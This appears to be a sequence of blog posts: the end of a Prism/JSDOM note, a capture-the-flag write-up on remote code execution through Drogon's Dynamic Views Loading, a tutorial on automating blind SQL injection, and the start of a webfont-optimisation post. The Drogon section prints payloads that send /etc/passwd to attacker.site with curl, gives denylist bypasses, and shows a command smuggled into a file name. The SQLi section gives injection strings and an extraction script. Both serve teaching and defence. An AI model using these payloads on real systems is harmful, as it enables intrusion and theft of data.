Small update: In a funny twist of events, while I did end up choosing domino initially, I switched over to JSDOM later on. This is because I wanted to use the prism-keep-markup plugin to be able to apply <mark> highlighting inside code blocks. Under the hood, the plugin requires document.createRange which domino's API sadly does not provide. This is a temporary solution; which is to say, I was lazy and didn't want this roadblock to eat up too much time. I may or may not look towards handrolling/simulating document.createRange with a custom function. If you have an alternative, I would welcome it.

Final Remarks

I'll be the first to admit — this is a rather crude hack with some loose ends.⁷ But it works! Not to mention, it looks nice with enough CSS! And to some that's all that matters.

For those interested in the code, you can check it out here:

Just copy the module into your build and load it.

Here are a few other customisations to plugins I made.

copy-to-clipboard: plugin / js / css
line-numbers: plugin / css
show-language: plugin
command-line: css
toolbar: css
diff: css (based on a Eleventy customisation)

Footnotes

Instead of monkeypatching the environment (and potentially affecting other libraries), we could also just write new code using regex to modify HTML, removing the requirement for a DOM altogether. But let’s face it, I sleep more soundly knowing the current implementation is mature and battle-tested. By introducing a DOM API to Node, you're placing trust in a library to be spec-compliant. By handwriting regex, you're placing trust in your code (and regex!) to work. Which would you rather have? ↩︎
Not that I have any red teaming writeups, but I foresee the possibility of such posts in the future. ↩︎
To be fair, there's an argument to be made for "not running these commands all at once". Failure isn't handled. But this largely exists in relatively low-level build commands for C/C++, which are renowned for their many toolchains (read: potential build errors). ↩︎
Unlike JSDOM, domino doesn't have a "create fragment from HTML" function, so template is the suggested workaround. ↩︎
Normally, wrapping it in <pre><code> is sufficient. But some plugins such as toolbar will traverse up to the parent of pre, so... <div><pre><code>. Yay, more workarounds! ↩︎
Here, rw stands for responsive width. ↩︎
It would be better to pass codeblock attributes directly to Prism without the extra stringification and parsing. Guess I'll leave this as an exercise for the front-end engineers. ↩︎

Dynamic Views Loading – Abusing Server Side Rendering in Drogon

2024-08-18T00:00:00Z

Earlier this month, I released two CTF web challenges for CrewCTF 2024: Nice View 1 and Nice View 2. These build upon an earlier challenge — an audio synthesis web service running on the Drogon Web Framework. This time, our focus shifts from exploring zip attacks in Juce to exploring an alarming configuration in Drogon: Dynamic Views Loading (hereafter abbreviated DVL).

In a hypothetical situation where a Drogon server with DVL is exposed to hackers, how many holes can be poked? What attack vectors can be achieved?¹

At the same time, this is also a good exercise in defensive programming. If we released such a server, what (programming) defences are necessary to cover our sorry arse? When and where should we apply sanitisation and filtering? How do we properly allow “safe” programs? Is that even possible to begin with?

This turned out to be a fascinating endeavour, as there happen to be a ton of ways to compromise a vulnerable DVL-enabled server. In the making of the CTF challenges, I struggled to eliminate every single unintended solution.

^{Every time I find an unintended solution, a new one is just around the corner.}

Drogon Redux

Drogon is a C++ web framework built with C++17, containing a whole slew of features such as session handling, server side rendering, and websockets — features you would expect in a modern web framework.

Drogon's server side rendering is handled by CSP views (C++ Server Pages). Similar to ASP, JSP, PHP, and other HTML templates, these files are sprinkled with special markup such as <%inc ... %>, <%c++ ... %>, and {% ... %}, which are evaluated when rendered.

Simple View Example

Here's a simple example of a CSP:

<!DOCTYPE html>
<html>
<body>
<%c++ if (true) { %>
    <h1>Hi [[ name ]]</h1>
<%c++ } else { %>
    <h1>Bye [[ name ]]</h1>
<%c++ } %>
</body>
</html>

We can specify C++ control-flow logic with <%c++ ... %> and substitute variables with [[ ... ]].

To render this file, we'll call newHttpViewResponse and pass a name from the URL endpoint:

app().registerHandler(
    "/hello/{}",
    [](const HttpRequestPtr& req, std::function<void(const HttpResponsePtr&)>&& callback, const std::string& name) {
        HttpViewData data;
        data.insert("name", name);
        auto resp = HttpResponse::newHttpViewResponse("Example.csp", data);
        callback(resp);
    });

After starting the server, we can run curl 127.0.0.1:8080/hello/Picard and observe the following HTML:

<!DOCTYPE html>
<html>
<body>
    <h1>Hi Picard</h1>
</body>
</html>

Why Use Dynamic Views?

This is all very nice, until our application becomes a gargantuan, unwieldy mess. What if we want to fine-tune some HTML? Each minor change takes a full minute to recompile. Dynamically-typed, scripting languages with hot-reload suddenly look more appealing.

To address this, Drogon supports dynamic loading of views. New CSP files added to a target directory will be automagically compiled and loaded. To enable Dynamic Views Loading, we can add the following lines to our JSON configuration:

"load_dynamic_views": true,
"dynamic_views_path": ["./views/d"],

or use the C++ equivalent:

app().enableDynamicViewsLoading({"./views/d"}, "./views/d");

Drogon will then actively monitor the file path for new/modified .csp files.

Dynamic Views: Compilation and Loading

How do dynamic views work in Drogon?

After all, C++ is compiled, not interpreted.

But it's possible to load compiled code at runtime through shared objects. These are specially-compiled files which can be loaded on-the-fly. In Drogon, the process goes like so:

^{Flow Chart of Dynamic Views Loading}

The user writes a .csp file to the dynamic view path. The rest is up to Drogon.
Drogon detects the new/modified .csp files.
Drogon translates the .csp to a regular C++ .h and .cc file, using the drogon_ctl command-line tool.
The .cc is compiled into a shared object (.so) using the -shared flag.
The .so is loaded with dlopen, after previous versions are unloaded with dlclose.²
The new/updated view can now be used in application code.

All of this happens in SharedLibManager.cc. Feel free to take a gander.

From CSP Markup to C++

Another natural question to ask is: how is CSP markup converted in C++ source code and compiled?

This is quite an important question, since it affects how we can inject code, and the defensive measures needed. We can analyse this by running...

drogon_ctl create view Example.csp

which generates Example.h and Example.cc.

Let's look at how C++ is generated from markup.

<%c++ ... %> - content inside this tag is inserted into a genText() function.

<h1>Example</h1>
<%c++ int a = 40 + 2; $$ << a; %>
<h2>Hello world!</h2>

// Boilerplate: includes...
using namespace drogon;
std::string Example::genText(const DrTemplateData& Example_view_data)
{
    drogon::OStringStream Example_tmp_stream;
    std::string layoutName{""};
    Example_tmp_stream << "<h1>Example</h1>\n";
    int a = 40 + 2; Example_tmp_stream << a; 
    Example_tmp_stream << "<h2>Hello world!</h2>\n";
    // Boilerplate: convert stream to string and return...
}

Example_tmp_stream is a stringstream used to prepare the final HTML. Eventually, it gets converted to a string and returned.

{% ... %} - equivalent to <%c++ $$ << ... %>, it just echoes the expression. The closing %} must be on the same line as the opening {%.

<%inc ... %> - meant for including additional libraries. Code is placed in file-level scope.

<%inc
#include <algorithm>
#define MY_MACRO
void my_function() {}
%>
<h1>Example</h1>

// Boilerplate: includes...
#include <algorithm>
#define MY_MACRO
void my_function() {}

using namespace drogon;
std::string Example::genText(const DrTemplateData& Example_view_data)
{
    drogon::OStringStream Example_tmp_stream;
    std::string layoutName{""};
    Example_tmp_stream << "<h1>Example</h1>\n";
    // Boilerplate: convert stream to string and return...
}

[[ ... ]] - for inserting data passed from application code.

<h1>Hi [[name]]!</h1>

// ...
Example_tmp_stream << "<h1>Hi ";
{
    auto & val=Example_view_data["name"];
    if(val.type()==typeid(const char *)){
        Example_tmp_stream<<*(std::any_cast<const char *>(&val));
    }else if(val.type()==typeid(std::string)||val.type()==typeid(const std::string)){
        Example_tmp_stream<<*(std::any_cast<const std::string>(&val));
    }
}
Example_tmp_stream << "!</h1>\n";
// ...

Attack Vectors

There are countless attack vectors to address.

RCE via Rendered CSP. First, we'll start by looking at a simple PoC which triggers RCE when the view is rendered.
Bypasses. We'll survey common functions and tricks to bypass a denylist.
RCE via Init Section. Here, we'll trigger RCE without rendering the view.
RCE via File Name. Finally, we'll discuss a harrowing insecurity in the DVL code path.

Not all of these were exploitable in my CTF chals. I selected a few vectors which I thought were interesting.

1. RCE via Rendered CSP

Suppose an attacker can write any CSP content in the dynamic views path. In the simplest case where filtering or checking is non-existent, the attacker can execute malicious commands using the usual system and execve functions found in libc. This allows us to exfiltrate sensitive information and launch reverse shells.

<%c++
    system("curl http://attacker.site --data @/etc/passwd");
%>

To trigger this RCE, the application code needs to render the view with HttpResponse::newHttpViewResponse("Example.csp").

The following diagram shows where code execution occurs along the pipeline. We'll update the diagram as we explore other vectors.

^{A simple and direct method of abusing CSPs. Execution occurs when the view is rendered, e.g. by calling newHttpViewResponse.}

2. Bypassing Simple Denylists

If the loophole resides in a few key functions, can't we simply block those functions?

No. This is extremely difficult in a diverse language such as C++. Not only does it have its own language features and standard library; but it also inherits most of C's baggage. There are many ways to bypass a denylist. As such, a sufficiently secure denylist will either be exhaustively long or severely limiting.

This goes to show how denylists (blacklists) are generally discouraged from a security PoV, as it's difficult to account for all methods of bypass. In the case of programming languages, however, allowlists (whitelists) are also difficult to construct, as limiting ourselves to a set of tokens severely constrict the realm of possible CSP programs, and may hinder development.³

The only solution, really, is to not enable DVLs. More on mitigations later.

A sufficient denylist needs to consider the following approaches, similar to any C/C++ denylist-bypass challenge. The actual denylist has been left as an exercise for the reader.

File Read/Write with `fstream`, `fopen`

<%inc
#include <fstream>
#include <sstream>
%>
<%c++
    std::ifstream ifs{"/etc/passwd"};
    if (ifs.is_open()) {
        $$ << ifs.rdbuf();
    } else {
        $$ << "Failed to open file.";
    }
%>

File Read/Write with `open`, `read`

If high-level file IO isn't an option, we could always resort to the lower-level Linux functions.

<%inc
#include <unistd.h>
%>
<%c++
    char buffer[99] = {};
    read(open("/etc/passwd", 0), buffer, 99);
    $$ << buffer;
%>

File Read/Write, RCE with `syscall`

We can go one level deeper using the syscall() function. This allows us to call the usual open, read, write, execve syscalls, albeit less readably.

<%inc
#include <unistd.h>
%>
<%c++
    char buffer[99] = {};
    syscall(0, syscall(2, "/etc/passwd", 0       ), buffer, 99);
//  read(      open(      "/etc/passwd", O_RDONLY), buffer, 99);
    $$ << buffer;
%>

Thanks to syscall 59, we can also run execve to achieve RCE.

<%inc
#include <unistd.h>
%>
<%c++
    const char* argv[] = {
        "/usr/bin/curl",
        "http://attacker.site",
        "--data",
        "@/etc/passwd",
        NULL
    };
    syscall(59, "/usr/bin/curl", argv, 0);
%>

Handy Reference: Linux x86 Syscalls - filippo.io

File Read with `mmap`

After opening and creating a file descriptor via open or syscall(2, ...), we can also use mmap to perform a read instead of the usual read.

<%inc
#include <unistd.h>
#include <sys/mman.h>
%>
<%c++
    $$ << (char*)mmap(NULL, 99, 1, 2, syscall(2,"/etc/passwd", 0), 0);
    // mmap(addr, length, memory_protection, flags, fd, offset)
%>

File Read/Write, RCE via Inline Assembly

Pretty much any syscall in C can be translated to assembly, and GCC's extended assembly makes it convenient to pass input and output.

The following CSP opens and reads /etc/passwd into a buffer, then outputs it. This is equivalent to the open-read idiom we used above.

<%c++
    char file[] = "/etc/passwd", buffer[256] = {0};
    asm(R"(
        mov $2, %%rax;
        lea (%0), %%rdi;
        mov $0, %%rsi;
        syscall;
        
        mov %%rax, %%rdi;
        mov $0, %%rax;
        lea (%1), %%rsi;
        mov $255, %%rdx;
        syscall
    )"
        : : "b" ( file ), "d" ( buffer )
    );
    $$ << buffer;
%>

"b" ( file ) and "d" ( buffer ) are inputs to our asm procedure. The letters b and d refer to the %rbx and %rdx register. I chose these registers specifically to avoid conflicts. (%rax gets written with 2 on the first line, %rcx gets overwritten by the first syscall.)

Exercises for the reader:

Try to figure out how the assembly maps to the C syscalls in the previous sections.
buffer is technically an output, so why do we treat it as an input?
Demonstrate RCE by using the execve syscall.

Blocking the keyword syscall will not work here. We can bypass it with a simple sys" "call, since adjacent strings are concatenated in C/C++ ("a" "b" == "ab"). To properly block such calls, we would need to block the functions invoking inline assembly, such as asm.

Handy Reference: Using Inline Assembly in C/C++

Local File Inclusion with `#include`

Filters applied to a set of file extensions can be easily bypassed by uploading a file with an unfiltered extension, then #include-ing it in the CSP. All #include really does is copy-paste the included file's content, which then gets compiled as C/C++ code.

Example.csp - with stringent checks on denied words.
```
<%inc #include "safe.txt" %>
```
Example.csp
C++ Server Pages
safe.txt - other C++ code which gets a free pass, possibly using a technique above.
```
system("curl http://attacker.site --data @/etc/passwd");
```
safe.txt
C++

This allows us to bypass situations where, say, .csp files are strictly checked, but certain extensions are not checked at all.

I'll admit this one slipped my mind; quite a few players discovered this unintended solution during the CTF.

Bypass Denylists with Macro Token Concatenation (`##`)

C/C++ macros have some quirky features:

#: Converts a macro argument's value to a string.
```
#define STR(X) #X
// STR(abc) == "abc"
```
C++

##: Joins two arguments.

#define GLUE(X, Y) X ## Y
GLUE(c, out) << "hello world!" << GLUE(e, ndl); // cout << "hello world!" << endl;

#define GLUE2(X) X ## _literally
int GLUE2(var) = 1; // int var_literally = 1;

The second feature allows us to bypass denylists which only match full words.

For instance, if a denylist blocks system, we can do GLUE(s, ystem).

<%inc #define GLUE(X, Y) X ## Y %>
<%c++
    GLUE(s, ystem)("curl http://attacker.site --data @/etc/passwd");
%>

3. RCE via Init Section

The previous tricks use <%c++ which only executes when the view is rendered. But what if I told you we can execute code without even rendering the view?

That's right, all we need is to load the .so to execute code!

^{Using <%c++ will execute code when "View is Rendered", but by strategically placing code in the .init section of the binary, we can get code to execute right after loading the .so!}

Let's look at a few examples of how we can achieve this tomfoolery.

Init Section via `<%inc`

There are various ways to run code prior to main(). We can make use of the fact that <%inc places code in file scope.

<%inc
// 1. Assign variable with function call.
int a = system("curl http://attacker.site --data @/etc/passwd");

// 2. To run more code, we can create a function first.
int foo() {
    return system("curl http://attacker.site --data @/etc/passwd");
}
int b = foo();

// 3. GCC attributes - gets called automatically.
__attribute__((constructor))
void bar() {
    system("curl http://attacker.site --data @/etc/passwd");
}
%>

When compiled, all of this is placed in the .init_array section, which allows multiple function pointers to be called during initialisation.

Escaping Function Scope with `<%c++` and `[[`

Blocking <%inc is not enough. Even with <%c++ and [[, it is possible to escape function scope and insert a function in the top-level. This is partly by-design, so that like PHP, we can use C++ if-statements and for-loops to dynamically generate HTML. But we can also abuse this to escape the genText() function.

We demonstrate this with the following CSP:

<%c++ 
} 
__attribute__((constructor)) void injected()
{
    system("curl http://attacker.site --data @/etc/passwd");
}
std::string dummy(const DrTemplateData&)
{
    drogon::OStringStream Example_tmp_stream;
    std::string layoutName{""};
%>

and here's the generated C++:

// Boilerplate: includes...
std::string Example::genText(const DrTemplateData& Example_view_data)
{
    drogon::OStringStream Example_tmp_stream;
    std::string layoutName{""};
 
} 
__attribute__((constructor)) void injected()
{
    system("curl http://attacker.site --data @/etc/passwd");
}
std::string dummy(const DrTemplateData&)
{
    drogon::OStringStream Example_tmp_stream;
    std::string layoutName{""};
    // Boilerplate: convert stream to string and return....

The same idea goes for variable markup [[...]], the only difference being whitespace is not allowed.

<h1>Hi [[name"];}}__attribute__((constructor))void/**/injected(){system("...");}std::string/**/dummy(const/**/DrTemplateData&data){drogon::OStringStream/**/Example_tmp_stream;std::string/**/layoutName{""};{auto&val=data["]]</h1>

Likewise for <%layout and <%view. (Left as an exercise for the reader.)

Thought that was the worst we could do? It gets worse.

4. RCE via File Name

Remember how Drogon runs drogon_ctl to convert .csp files to .cc files? Guess how this command is run.

That’s right, system() is called. And since the CSP file name can be pretty much anything — subject to Linux’s file path conditions — we can inject arbitrary commands and achieve RCE!

Additionally, our command can contain slashes, since Drogon recursively scans subdirectories. A file named foo$(curl attacker.site/abcd) will be treated as a folder (foo$(curl attacker.site/) + a file (abcd)).

Takeaways and Mitigations

Although this was meant for a couple fun 48-hour CTF challenges, it feels appropriate to close with some tips on defence.

So what did we learn?

Drogon, at the moment, does not sandbox or properly sanitise CSP content.⁴ This is by design, since CSPs inherently contain trusted content.
There are three main ways to achieve RCE on a DVL-enabled Drogon server. And this comes with the prerequisite of file-write privileges.
1. RCE via Rendered CSP
2. RCE via Init Section
3. RCE via File Name
Denylists need to consider a wide range of bypass methods.

And mitigations?

Don't enable Dynamic Views Loading, unless you're in a local dev environment. Switch off DVL after using.
Don't allow untrusted input to be compiled and loaded as views; statically or dynamically.
Protecc your dynamic views directory. Don't allow untrusted files to be written there.
- It doesn't matter if the view will be rendered in application code, because — as we discovered earlier — once drogon_ctl is run, an RCE endpoint is already exposed.
If, on the off chance, your environment accepts untrusted CSP files, you should consider using some filtering/denylist mechanism.
- If filtering is performed, it should happen before files are written to the dynamic views directory. Once files are written, it's too late: Drogon kicks in and devours the CSP.
^{Defensive filtering, if any, should occur before CSP files are written.}

Do I expect the RCE issues to be fixed? Considering the purpose of DVLs... probably not. Judging by the maintainer's stance, DVLs are purely meant for development:

Note: This feature is best used to adjust the HTML page during the development phase. In the production environment, it is recommended to compile the csp file directly into the target file. This is mainly for security and stability. (Source)

Conclusion

Although Dynamic Views Loading (DVL) seems appealing for implementing features such as user-generated content or dynamically adding plugins, DVL is a dangerous liability if left in the open. In this post, we've demonstrated multiple ways to exploit DVL, given file-write privileges. DVL is ill-suited for production-use and should only be used for its intended purpose — local testing in development environments.

^{Nice View: the Dragon's Back Hiking Trail in Hong Kong Island.}

Footnotes

This situation may be less hypothetical than we think. According to Shodan, there are over 1000 servers around the world running Drogon. How many do you think were poorly configured, with devs thinking… “I’ll just enable Dynamic Views Loading for convenience. Nobody can find my IP anyway.” I’m willing to bet there’s at least 1. ↩︎
dlopen seems to only be available on Unix-like machines. ↩︎
Whitelisting a program's AST could prove effective, but this requires us to first generate an AST — a non-trivial problem. ↩︎
At the time of writing, I'm using Drogon version 1.9.1. ↩︎

Automating Boolean-Based SQL Injection with Python

2024-08-10T00:00:00Z

When performing a penetration test, we occasionally come across SQL injection (SQLi) vulnerabilities. One particular class of SQLi is particularly tedious to exploit — Boolean-Based SQLi.

Tedious, heavily-repetitive tasks often present themselves as nice opportunities for automation. In this post, we’ll review Boolean-Based SQL Injection, and explore how to automate it with Python by starting with a basic script, optimising, applying multithreading, and more. We'll mainly focus on high-level approaches towards automation and keep our code snippets short.

The end result is a script which automates network requests and brute-forcing into a nice interface:

^{Demo of the Python script in a CTF challenge.}

What a long name.

Let’s break it down from right to left:

SQL Injection: an SQL query is combined with a user payload which makes the resulting query behave differently, potentially resulting in sensitive information disclosure or remote code execution.
Blind: SQL output is not returned directly in the response, but indirectly by some other indicator, such as a boolean response or time.
- Sometimes, this term is dropped when discussing Boolean-Based SQLi, because Boolean-Based implies Blind.
Boolean-Based: the attacker crafts SQL queries that return a TRUE or FALSE response based on the injected conditions. This could appear as:
- different status codes (e.g. 302 redirect on success, 401 on fail),
- different response body (e.g. error messages, full search results), or
- (rarely) different headers (e.g. Set-Cookie).

By carefully analysing the application's response to these manipulated queries, we can extract data bit by bit, deduce the structure of the database, and potentially leak sensitive data.

Each DBMS has unique functions and grammar, so the SQLi syntax may be different. In MySQL, we can extract individual characters using the SUBSTRING() function and convert them to numbers with ASCII().¹

By comparing the values with ASCII numbers, we can determine the character stored.

Simple SQLi Example

So what does this look like practically?

Here we have a simple Flask server with an in-memory SQLite database containing a login endpoint. The login() function is simple: check if the username and password exists in the DB. If it exists, then login is successful.²

@app.route('/login', methods=['POST'])
def login():
    username = request.form['username']
    password = request.form['password']

    # Check if username/password exists.
    query = "SELECT * FROM users WHERE username='{}' AND password='{}'".format(username, password)
    c = conn.cursor()
    c.execute(query)
    user = c.fetchone()

    if user:
        return 'Login successful!'
    else:
        return 'Login failed.'

This is vulnerable to SQL injection, since the username and password parameters are formatted into the query without any sanitisation and without using prepared statements. But this is blind SQLi, because the results are not returned, only "Login successful" or "Login failed".

To exploit this, we start by crafting a proof-of-concept. We'll pass ' OR 1=1-- to the username parameter, transforming the query into:

SELECT * FROM users WHERE username='' OR 1=1-- ' AND password='...'

where everything after -- is treated as a comment.

Since 1=1 is always true, all users will be selected, and the page returns: "Login successful".

Using this, we can detect TRUE responses by checking if the body contains "success".

Moreover, we can leak further information by changing 1=1 to other guessy queries. For instance, we can use this bad boy — UNICODE(SUBSTRING(sqlite_version(), 1, 1))=51 — to test if the first character of sqlite_version() is '3'. This is where the tedious part comes in: we need to scan two variables: the index and the ASCII character. Scripting helps eliminate this manual labour.

We can use this simple script to brute-force the remaining characters:

import requests

def check_sql_value(sql_query: str, idx: int, guess: int) -> bool:
    url = 'http://127.0.0.1:5000/login'
    data = {
        'username': '1',
        'password': f"' OR UNICODE(SUBSTRING({sql_query}, {idx}, 1)) = {guess} -- "
    }
    r = requests.post(url, data=data)
    return 'success' in r.text

max_data_len = 256
final_data = ''

# SQL's SUBSTRING uses 1-based indexing.
for idx in range(1, max_data_len):
    for guess in range(1, 128):
        if check_sql_value('sqlite_version()', idx, guess):
            final_data += chr(guess)
            print(final_data)
            break
    else:
        # No valid ASCII chars found. Probably end of string.
        break

Output:

_(collapse)

Optimisations with Binary Search

One quick and simple optimisation whenever we’re searching an ordered sequence is to apply binary search. This drastically reduces the max number of requests for each character from 96 to 7.³

This is a good thing for real life engagements: fewer iterations → less traffic → more sneaky → better opsec.

Normally, binary search relies on three possible outputs for a test: =, <, and >. But it is possible to make do with just two possible outputs: < and >=. If it’s less, we eliminate the upper half; otherwise, we eliminate the lower half.

def binary_search(val: int, low: int, high: int) -> int:
    """Binary search for value between low (inclusive) and high (exclusive),
    assuming the guessed value is within range."""
    while low < high:
        mid = (low + high) // 2
        if low == mid:
            return mid # Found val.
        
        print(f'{low:3} - {high:3}\tGuess: {mid:4}')
        if val < mid:
            high = mid  # Eliminate upper half.
        else:
            low = mid   # Eliminate lower half.

Here’s a quick example, where we progress towards 125 in 7 steps (which will translate to 7 HTTP requests later on).

print('result:', binary_search(125, 0, 128))
  0 - 128       Guess:   64
 64 - 128       Guess:   96
 96 - 128       Guess:  112
112 - 128       Guess:  120
120 - 128       Guess:  124
124 - 128       Guess:  126
124 - 126       Guess:  125
result: 125

In the code snippets above, val is known for demo purposes. But in reality, val is unknown; it’s the data we’re trying to exfiltrate. To be more realistic, let's replace the val comparisons with a function check_sql_value() which sends network requests.

def binary_search(sql_query: str, idx: int, low: int, high: int) -> int:
    """Find the value of sql_query using binary search, between
    low (inclusive) and high (exclusive). Assuming the guessed value
    is within range."""
    while low < high:
        mid = (low + high) // 2
        if low == mid:
            return mid # Found val.
        
        if check_sql_value(sql_query, idx, mid):
            high = mid
        else:
            low = mid

def check_sql_value(sql_query: str, idx: int, guess: int) -> bool:
    # Make web request to check ASCII(SUBSTRING(sql_query, idx, 1)) < guess.
    # And then check if the response is a TRUE or FALSE response.
    ...

for idx in range(1, 256):
    val = binary_search("@@version", idx, 0, 128)
    # Handle `val`...

The idea here is we can pass an SQL query, such as @@version or sqlite_version(), followed by the index and expected ranged.

binary_search("@@version", idx, low, high)

We can make the code more generic or flexible, but the underlying idea is there.

More SQL Tricks

Not all types of data are easy to exfiltrate. Here are some tricks I've picked up (some of which could be scripted):

Use subqueries to select data from arbitrary tables.
- e.g. ASCII(SUBSTRING((SELECT password FROM users LIMIT 1 OFFSET 5), 1, 1))
Use GROUP_CONCAT to combine multiple rows into one row. This function is available in MySQL and SQLite.
- Subqueries only work when 1 row and 1 column is selected.
- Occasionally, there is a lot of data across multiple rows.
  - We can use LIMIT (or TOP for SQL Server) to restrict the data to one row.
  - Or we could GROUP_CONCAT to capture more data in a single subquery. Then there would be one less number to change.
Cast SQL output to char/varchar to capture numbers, dates, and other types.
- e.g. CAST(id AS VARCHAR(32)) in MySQL
- Cast with NULL, may not work. Additional NULL-checks may be needed.

Adding Multithreading

Now that we've optimised the reading of a single character, can we also speed up the reading of an entire string?

Yes! Thanks to concurrency! For this, we'll reach for Python's built-in concurrent.futures library, which provides several high-level threading tools. The choice boils down to using threads (via ThreadPoolExecutor) or processes (ProcessPoolExecutor), and considering how data/processing is distributed.

Threads vs. Processes

Time for a quick comparison.

Threads:

lightweight and quick to create
shares memory with main process
one GIL to rule them all
recommended for IO-bound tasks (network, requests)

Processes:

slower to create
doesn't share memory
each process has their own GIL
recommended for CPU-bound tasks (intense computations, calculations)

Note: GIL behaviour may change in Python 3.13+, so expect some updates in the (concurrent.)future.

Reference: StackOverflow – Multiprocessing vs. Threading in Python

Using ThreadPoolExecutor

In the end, I used ThreadPoolExecutor, since our code was constrained by network requests. The shared memory also means we don't need to worry about parameters and duplication as much. Even though the GIL prevents us from (strictly) executing in parallel, we do observe some speedup.

In the code snippet below, we create a task for each character of the string. (Assume the length of the string is known.) When a thread finishes searching for a character, the thread is recycled and picks up the next task, then the next, and so on until all tasks are done.

We can process finished tasks as they roll in using concurrent.futures.as_completed.

with concurrent.futures.ThreadPoolExecutor(max_workers=8) as executor:
    future_map = {}

    # Create a task for each character.
    for idx in range(length):
        future = executor.submit(get_by_bsearch, f"ASCII(SUBSTRING(({sql}),{idx+1},1))", 0, 128)
        future_map[future] = idx

    # Handle finished tasks concurrently.
    for future in concurrent.futures.as_completed(future_map):
        idx = future_map[future]
        ch = future.result()
        # We found the character at a particular index!
        # Store it somewhere...
        somewhere[idx] = ch

The length of the string can be determined beforehand with another binary search. Assuming the max length is 2048...

length = get_by_bsearch(f"LENGTH(({sql}))", 0, 2048)

Adding Comfort Features

Aside from a tool’s utility, we should also consider user experience. We want to design the tool to be convenient for ourselves, and potentially other users. For instance, we shouldn’t have to modify code to change general settings (e.g. the target URL). And it'd be nice to have visual feedback; waiting can be boring.

Here are some things we'll add to our automation:

Command Line Arguments
Progress Bar
Interactive Interface

At this point, it’s mostly about choosing mature libraries, looking at documentation, and playing around with code. I’ll list some libraries I found useful/interesting.

Command Line Arguments

argparse, built-in, robust, used almost everywhere
python-fire, convenient wrapper which generates command-line arguments from function annotations. (Looks interesting but I haven’t used.)

Progress Bar

Common options are:

rich, colourful, great look-and-feel
tqdm, traditional rectangular progress bar

Some challenges arise when mixing progress bars with multithreading. In general...

Dropping to a lower-level API helps alleviate issues. For example, rich allows you to control how tasks are added, updated, and removed.
KeyboardInterrupt and Exceptions should be carefully handled. You do want ^C to work right?
- "Boss, we accidentally swamped the hospital's database with our script. Their server was weak."
- "Stop it! Millions of lives are at stake!"
- "We can't... Control-C doesn't work!"
- "You leave me no choice." (pours water over computer)

Interactive Interface

Instead of modifying the shell command on each SQL change, it would be nice to have an interactive, shell-like program for running SQL statements. Throwing input() in a while-loop could work, but doesn't have the usual shortcuts (e.g. up for previous command⁴). To have a nicer, cross-platform terminal interface, we can use:

prompt_toolkit
- Has the usual terminal shortcuts: up, down, reverse search ^r.
- Command history can be stored in a file so that it persists across runs.

The implementation is as simple as replacing input() with prompt.prompt().

Before:

sql = input("sqli> ")

After:

prompt = PromptSession(history=FileHistory(".history"))
sql = prompt.prompt("sqli> ")

Conclusion

In this post, we introduced Boolean-Based Blind SQL injection, how it can be used to enumerate a database, and some optimisations and workarounds for exfiltrating data more reliably. We also explored some useful Python libraries to glue onto your project.

Automation and scripting can be a powerful time saver when the need exists. We identified a tedious task — brute forcing characters for possibly long strings — and followed up with incremental changes. Hopefully the reader has picked up a few tips on automation.

Footnotes

Unicode characters are trickier to deal with. One possible way is to cast the number on the RHS with CHAR. (This is the method SQLmap uses.) Another possible way in MySQL is to use ord, which maps multibyte characters to base-256. Character encoding is hard. :( ↩︎
Full code for the Flask + SQLite demo is uploaded on GitHub for reference. ↩︎
This should make sense in bit terms. We only need 7 queries to figure out the 7 bits of an ASCII character. (The first bit is assumed to be 0.) Most Boolean-Based SQLi throwaway scripts don't do binary search because the algorithm is tricky to get right. But it's useful to know, and can be applied to time-based SQLi (another type of blind SQLi) as well for massive time discounts. ↩︎
Although in Windows, this appears to be built-in?! At least Windows or Python on Windows does one thing well. 🤷‍♂️ ↩︎

Optimising Web Icons for Fun

2024-05-23T00:00:00Z

I decided to spend this Labour Day doing a bit of frontend performance engineering, learning Typescript along the way. I've been eyeing my Font Awesome (FA) assets for a while, and lately they've been a curious itch.

Here’s the dealio: icon webfonts are known to bundle all icons. This includes icons we don't use. For Font Awesome, this means the browser downloads 19kB CSS + 287kB WOFF2 gzipped data. But my site just uses 40 out of 2000… why download so much?¹

I should take a step back. There are generally two established ways to handle icons on the web: 1) webfonts (plus CSS), and 2) inline SVGs (Scalable Vector Graphics). As its name suggests, SVGs scale nicely to any screen size and remove the need for font files. Both have their use cases, but the modern web recommends SVGs for general cases.

Due to historical reasons, this site uses webfonts; and unfortunately, replacing webfonts with SVGs is not a simple find-and-replace. If it were, I would've included it in this analysis. After a painful struggle migrating a few icons, I decided to postpone migration. Didn't really feel like tuning CSS.

So I turned my attention to slimming down webfonts like Garfield doing cardio. But before I explain the process, let's understand how icon webfonts work.

Icon Webfonts Under the Hood

Fonts and Unicode

There are various font formats: WOFF, TrueType, OpenType. These are essentially different ways to compress and store fonts. WOFF2, for instance, is a modern compression format optimised for the web.²

Ultimately, fonts are mappings from integer codepoints to glyphs. These codepoints are standardised by the Unicode Standard and are expressed in the format U+[0-9A-F]{4,6}, i.e. “U+” followed by 4-6 hexadecimal digits. For example, the number U+0030 maps to "0", and U+0041 maps to "A", U+2206 maps to "∆" (delta), and U+6C34 maps to "水".

Codepoints are not to be confused with UTF-8, UTF-16, and UTF-32, which are different ways to efficiently store Unicode characters in byte format.

You may be wondering: so what codepoints map to icons? This is up to icon packs to define. Since most icons are custom by nature, they're usually placed in custom regions known as Private Use Areas, reserved by the Unicode Standard. One such region is U+E000 – U+F8FF.

Fonts and CSS

For webfonts to work, codepoints need to exist in the HTML text. But that's terribly inconvenient — writing magic numbers makes for hard-to-maintain code.

This is where CSS comes in. Specialised CSS rules connect the HTML code to the exact font glyph via a two-step process: 1) identifying the font file and 2) identifying the codepoint. Once the browser has these two pieces of information, it can render the glyph.

Suppose we write the following HTML code:

<i class="fas fa-rocket"></i>

The font file is determined by matching the assigned font with the custom font face. The fas class is key here.

.fas {
  font-family: "Font Awesome 6 Free"
  font-style: normal;
  font-weight: 900;
}

@font-face {
    font-family: "Font Awesome 6 Free";
    font-style: normal;
    font-weight: 900;
    font-display: block;
    src: url(../webfonts/fa-solid-900.woff2) format("woff2"), url(../webfonts/fa-solid-900.ttf) format("truetype")
}

The codepoint is inserted with a :before pseudo-element. For fa-rocket, this is U+F135.
```
.fa-rocket:before {
  content: "\f135"
}
```
CSS

It's a lot of indirection, and this is one reason why SVGs are preferred; but hey, this was the gold standard a decade ago.

Multiple Variants

To complicate matters, FA fonts have different variants, and they modularise this by using the same codepoint, but separate font files. Not all fonts do this though. Devicon packs all their styles into a single font file. Here are some examples of FA styles.

	Solid	Regular	Brands
`fa-star` (U+F005)
`fa-user` (U+F007)
